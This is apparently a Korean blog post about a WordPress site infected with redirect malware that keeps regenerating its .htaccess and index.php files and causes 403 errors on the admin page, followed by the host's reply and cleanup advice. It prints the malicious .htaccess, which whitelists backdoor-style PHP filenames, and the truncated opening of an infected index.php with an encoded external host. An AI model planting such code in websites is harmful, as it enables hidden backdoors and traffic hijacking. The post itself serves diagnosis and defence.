워드프레스 관리자 페이지에 접속하려고 시도할 때 Error 403 Forbidden 오류가 발생하는 문제와 관련하여 문의를 받았습니다. FTP에 접속하여 사이트를 살펴보니 .htaccess 파일과 index.php 파일을 삭제해도 자동으로 생성되었습니다. 멀웨어(악성코드)에 감염되면 이런 문제가 발생합니다.
워드프레스: .htaccess 파일 자동 생성 문제
워드프레스 사이트가 리디렉션 멀웨어에 감염되어 백업본을 사용하여 과거 버전으로 복원한 후에 관리자 페이지에 접속하려고 시도할 때 403 Forbidden 오류가 발생하는 문제를 접하게 되었습니다.
.htaccess 파일을 살펴보니 다음과 같은 코드로 되어 있었습니다.
<FilesMatch ".*\.(phtml|php|PhP|php5|suspected)$">
Order Allow,Deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|wp.php|plugin-install.php|rxr.php|cong.php|about.php|install.php|xboom.php|mds.php|saiga.php|wp-admin.php|lv.php|content.php|zxl.php|fm.php|wp-booking.php|zeal.php|)$">
Order Allow,Deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>
.htaccess 파일과 index.php 파일을 삭제하면 다시 자동 생성되는 문제가 관찰되었습니다. index.php 파일을 내용을 살펴보니 정상적이지 않는 코드들이 포함되어 있었습니다.
<?php
@set_time_limit(3600);
@ignore_user_abort(1);
$xmlname = '%68%6F%62%6F%67%6E%76%61%6B%62%2E%7A%72%61%67%62%6F%68%79%78%2E%6B%6C%6D';
$http_web = 'http';
if (is_https()) {
$http = 'https';
} else {
$http = 'http';
}
$duri_tmp = drequest_uri();
if ($duri_tmp == ''){
$duri_tmp = '/';
}
$duri = urlencode($duri_tmp);
function drequest_uri()
{
...
이 문제를 닷홈 웹호스팅 업체에 문의하니 다음과 같은 답변을 주었습니다.
파일을 삭제하시어도 다시 생성된다면 FTP로 접속해 주신 후 업로드되어 있는 파일 중 워드프레스 동작에 필요 없는 파일과 소스 내의 악성코드가 삽입이 되어 있는지 확인 부탁드립니다.
닷홈은 호스팅 업체로 업로드되어 있는 파일 중 악성코드가 삽입되어 있는 파일, 불필요한 파일 여부에 대하여 확인이 지원되지 않아 파일 삭제, 수정 등에 작업이 지원되고 있지 않은 점 양해 부탁드립니다.
멀웨어가 감염되지 않았던 시점으로 복원하는 방법이 있으며, 멀웨어가 감염되지 않았던 시점을 전달해 주시면 해당 시점 이전의 백업데이터가 존재하는 지 여부의 확인은 도움드리는 것이 가능한 점 참고 부탁드립니다.
클라우드웨이즈나 블루호스트 등의 해외호스팅에서는 요청 시 멀웨어가 의심되는 파일들을 스캔해주지만 우리나라 웹호스팅 업체들은 대체적으로 악성코드 스캔 서비스를 제공하지 않는 것 같습니다. 사이트그라운드의 경우 멀웨어가 발견되면 해당 사이트들은 차단되고, 사용자가 멀웨어를 모두 제거해야 확인 후에 사이트 차단을 해제합니다.
모든 파일과 폴더들을 삭제한 후에도 동일하게 자동 생성되는 것으로 보면 해당 계정의 상위 디렉터리까지 감염되었을 가능성도 배제할 수 없지 않을까 하는 생각이 들었습니다.
데이터와 디비(DB)를 백업하여 다른 호스팅에 테스트 사이트를 생성하여 복원한 다음, 멀웨어 스캔 작업을 진행하여 멀웨어 감염 여부를 확인할 수 있습니다. 참고로 클라우드웨이즈(Cloudways)에서는 3일 동안 무료로 사용할 수 있으므로 클라우드웨이즈에서 테스트 서버를 만들어서 테스트해보는 것도 하나의 방법이 될 것입니다.
참고
https://avada.tistory.com/2741
https://avada.tistory.com/3004